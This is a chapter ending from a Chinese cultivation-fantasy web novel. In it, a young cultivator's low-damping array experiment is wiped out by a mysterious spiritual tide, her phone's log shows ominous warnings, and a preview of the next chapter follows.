    指针不是“跳水”,是“跳崖”!幅度远超之前的三成,猛地跌落到刻度盘最底部,狠狠撞在限位柱上,发出“咔”一声清晰的、令人牙酸的轻响!然后,没有像往常那样在低位维持、酝酿情绪,而是开始剧烈地、毫无规律地上下乱颤,速度快出残影,像发了癫痫,又像在跳一场绝望的踢踏舞!


    **(夸张描写与拟人:“跳崖”、“发癫痫”、“绝望的踢踏舞”,强化异常波动的冲击感和荒诞感)**


    与此同时,阵基石上那颗水灵石,幽蓝的光芒骤然变得明灭不定,急剧闪烁了几下,亮度瞬间提升又骤降,像垂死挣扎的灯泡,然后“啪”一声轻响,彻底黯淡下去!林小膳凑近一看,灵石表面出现了几道清晰的、蛛网般的裂纹!


    灵石……碎了?!一次性消耗品也没这么脆啊!


    林小膳呼吸一窒,脑子“嗡”了一下。还没等她从“灵石碎了”的震惊中回过神,握在手里的录波玉符突然变得滚烫,烫得她下意识松手!玉符掉在草地上,表面原本稳定流转的灵光瞬间乱窜,发出滋滋的、如同电流短路般的声音,然后“噗”一声轻响,灵光彻底熄灭,玉符光滑的表面多了一道焦黑的、扭曲的裂痕,像被雷劈了。


    坏了?!苏芷晴借的高级货!要赔的!


    她猛地站起身,心脏在胸腔里狂跳,像要撞出来。环顾四周,夜色依旧平静,月光清冷,草丛里虫鸣不知何时停了,死寂一片。但她心里警铃大作,肾上腺素飙升。


    这不是普通的同步波动!这是……超载了?失控了?还是那“幽灵列车”今天超速了?!


    她立刻像离弦的箭(还是生锈的那种)冲向最近的药田阵点。借着微弱的月光,她看到那个阵点的水灵石也黯淡无光,凑近看,同样布满裂纹,像颗被砸碎的劣质玻璃珠。鉴微盘靠近(她手里这个居然还能用,真是质量过硬),指针疯狂乱晃,根本读不出任何稳定数值,在刻度盘上画出抽象派的轨迹。


    一连检查了四个阵点,全部一样!灵石碎裂,阵法纹路上的微光彻底熄灭,灵压紊乱得像一锅煮沸的粥。空气里似乎还残留着一丝极淡的、阴冷的、令人不舒服的气息。


    只有加了“微滞环”的那个版本(秋裤版),以及布置在更偏僻后山角落的那个阵点,灵石没有碎裂,但光芒也极其暗淡,鉴微盘显示灵压极低且不稳定,像受了重伤在苟延残喘。


    她的优化阵原版(光腿版),在这一次异常强烈的、远超以往的“子午潮煞”或“古灵脉回涌”冲击下,全军覆没,死状凄惨。对照组(标准阵)安然无恙(可能有点感冒),实验组(优化阵)集体扑街。


    林小膳站在冰凉的夜风里,看着手里鉴微盘那疯癫的指针,又看看地上那些失去光泽、布满裂纹、像在无声控诉的废灵石,脑子里有一瞬间的空白,闪过一行加粗大字:实!验!大!失!败!经!费!燃!烧!


    然后,一股更加冰冷的、带着后怕的战栗,顺着脊椎像蛇一样爬上来,让她手脚发凉。


    这次异常强烈的冲击,是偶然的“百年一遇大潮”,还是……某种规律性“大潮”的前奏?如果以后还会出现,甚至更频繁、更强烈,她的阵法改良还有意义吗?闲云峰其他东西呢?人呢?这地方还能不能住了?!


    还有……她的手机!那个连接两个世界、本身可能也是“高复杂度能量场”的脆弱物件!


    她几乎是连滚爬跑着冲回屋里,“砰”一声反手关上门,背靠在冰凉的门板上,心脏在胸腔里撞得生疼,呼吸急促。她颤抖着手,从枕头底下摸出那个冰冷的、长方形的“异界来客”。


    屏幕是暗的。她深吸一口气,按下侧边的电源键。


    屏幕亮起,锁屏界面是她前世某次旅游拍的星空(像素不高),正常。她快速用图案解锁,指尖有点抖,点开那个蓝色的【日志查看器】图标。


    图标依旧是蓝色的,但颜色似乎……暗沉了一点点?下方小字已经更新:


    **【分析进度:11%】**


    **【严重警告:检测到高强度、高复杂度规则潮汐冲击(峰值超载)。】**


    **【信道稳定度:-2%(持续缓跌中…)。当前连接质量:差。】**


    **【关联能量场结构(用户标记:优化阵测试群)损毁率:83%。】**


    **【建议:立即避免持续暴露于高强度规则扰动环境。重复:立即避免。】**


    进度从8%跳到了11%。信道稳定度变成了负数,还在像股票崩盘一样缓跌!阵法损毁率83%——基本对应她那些优化阵原版的团灭结局。


    规则潮汐冲击……峰值超载……这描述比“子午潮煞”听起来更根本,更宏大,也更令人不安。像是触及了这个世界底层代码的某种周期性“垃圾回收”或者“压力测试”。


    她的优化阵,不仅敏感地探测到了这个“潮汐”,还在潮汐异常增强(峰值超载)时,因为过于“高效”的共振和低阻尼,直接被“冲”垮了,成了这场“压力测试”的第一个牺牲品。


    而她的手机,这个同样依赖某种“规则”或“信道”连接两个世界的神秘物件,似乎也受到了波及,信号变差,“掉线风险”陡增。


    林小膳握着手机,指尖冰凉,但掌心却渗出汗。屏幕的光映亮她苍白的、沾着草屑和灰尘的脸,和眼睛里那点尚未消退的、混合着震惊、后怕、肉痛(灵石和玉符!),以及更深层、更顽固的……兴奋与探究欲的光芒。


    问题变得更严重,更费钱,也更吸引人了。就像玩解谜游戏,突然发现新手村地下埋着终极BOSS的线索。


    她慢慢滑坐到地上,背靠着冰冷的门板,目光落在桌上那堆凌乱的记录、草图、还有那枚代表“麻烦”与“机遇”的论道会白玉牌上。


    论道会要展示什么?展示“我是如何用低成本阵法探测到疑似古灵脉周期性回涌并成功将其损毁率提升至83%的”?


    也许……她有了一个全新的、危险的、烧钱的、但绝对没人想过的课题方向。


    关于闲云峰地下那条死而不僵、还会半夜“打嗝”的古灵脉,关于周期性规则潮汐(子午潮煞plus),关于低阻尼阵法与环境的共振与损毁机制,关于……如何预警,甚至尝试测量、理解,乃至未来某一天(如果能活下去且有钱的话)思考如何安全地利用这种力量。


    当然,首先,她得面对现实:把那些碎掉的、价值不菲(对她而言)的下品水灵石赔上(铁心帮忙刻的工钱可以赖掉吗?),把苏芷晴坏掉的录波玉符赔上(可能会被要求写五千字事故报告并附改进方案),还得想办法搞到更耐冲击的灵石,或者彻底改进阵法结构,至少得扛过下一次不知何时会来的“大潮”。哦,还得准备论道会……真是充实的人生。


    她扯了扯嘴角,露出一个有点疲惫、有点无奈、有点肉痛、又带着点破罐子破摔和“这破世界真有意思”劲儿的复杂笑容。


    科学探索(或者说,作死)的路上,实验失败是常事,经费燃烧是常态。在修仙界搞科研,实验失败可能会赔灵石、坏法器、欠人情,甚至……一不小心就牵扯出关乎一峰之地安危的、不得了的古老秘密。


    但这不就是她在这儿的原因么?这不比前世写PPT、开无聊会议、挤地铁有趣多了?(虽然也更费命)


    窗外的夜色,浓得化不开,像泼翻的墨。远处,似乎传来一声极轻微的、几乎融入风声的、意义不明的叹息,不知来自山林,还是其他。


    屋檐阴影下,阵痴的身影不知何时又如同鬼魅般出现在那里。他灰白的眼睛在黑暗中似乎也能视物,直直望着林小膳小屋的方向,手里紧紧摩挲着一块刻满了复杂应急加固阵纹和泄流结构的玉片,指尖因为用力而微微发白。他向来没什么表情的脸上,眉头罕见地蹙起,嘴唇翕动了一下,无声地吐出两个字,口型清晰:


    “麻烦了。”


    更远处的、视野开阔的山巅,陆谨行立于一块突起的黑色岩石上,月白色的衣袍在骤然增强的夜风中猎猎作响,勾勒出他挺拔如松的身影。他手中一枚复杂的、由灵力构成的星盘虚影正在急速旋转,其上代表地脉灵气流向和强度的光带剧烈扭曲、明灭不定,发出只有他能感知到的、尖锐的灵力警报。他盯着那完全异常、指向闲云峰方向的轨迹,深褐色的瞳孔微微收缩,向来平静无波、仿佛万事尽在掌控的脸上,第一次出现了清晰的、无法掩饰的凝重与疑虑。


    “地脉潮汐异常……强度峰值超载三倍以上……波及范围……”他低语,声音消散在呼啸的山风里,带着一丝不确定,“与闲云峰近日那些……损毁的简易阵法,有关联么?”


    夜还很长。山雨欲来,风已满楼。而某些被意外触发的、小小的涟漪,正开始悄然扩散,逐渐变成连当事人自己都未曾预料的波浪。


    ---


    **(第七章完)**


    ---


    **【下章预告:第八章赔偿、问询与神秘锚点】**


    实验事故第二天,林小膳面临修仙界首次“财务危机”与“信誉危机”。苏芷晴看着碎裂的录波玉符,面无表情,但气压低得能让温度降三度:“解释。包括但不限于事故过程、原因分析、责任认定及赔偿方案。书面,五千字。”铁心挠着后脑勺,看着一地碎灵石,憨憨地问:“小师妹,你那阵法……劲儿这么大?是不是刻的时候我手抖了?”阵痴的门缝下再次滑入石板,这次的阵图画满了紧急加固、多层泄流和过载保护结构,附言简短:“抗冲击改良方案V2.0,试。材料清单如下,费灵石。”而陆谨行带着记录到异常星盘数据的玉简,首次以“公务询问”而非“巡查”的名义,主动踏入闲云峰地界,目的明确:“林师妹,关于昨夜地脉异动及峰内阵法异常损毁,有事需向你核实。”更大的麻烦接踵而至——执事堂巡查弟子根据“不明灵力波动”报告找上门,发现多处阵法残骸,质疑“违规布阵,损毁公物(灵石)及可能危害灵田”,要求林小膳前往执事堂接受问询。林小膳一边头疼赔偿和解释,一边惦记着手机日志的新发现。手机分析进度跳至15%,并出现一条令人悚然的新信息:【检测到潜在规则锚点扰动。初步推测,本地周期性规则潮汐异常增强,可能与‘锚点’状态变化或‘锚点’自身周期性活动有关。锚点定位分析中……预计需要大量本地能量场交互数据进行三角定位。警告:锚点状态未知,性质未知,介入风险评级:高(不建议主动接触)。】“锚点”?是什么东西?在哪里?和古灵脉有关吗?林小膳的“研究”,似乎正把她引向一个更神秘、更危险的未知领域。而百艺论道会的日子,也一天天逼近了……
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)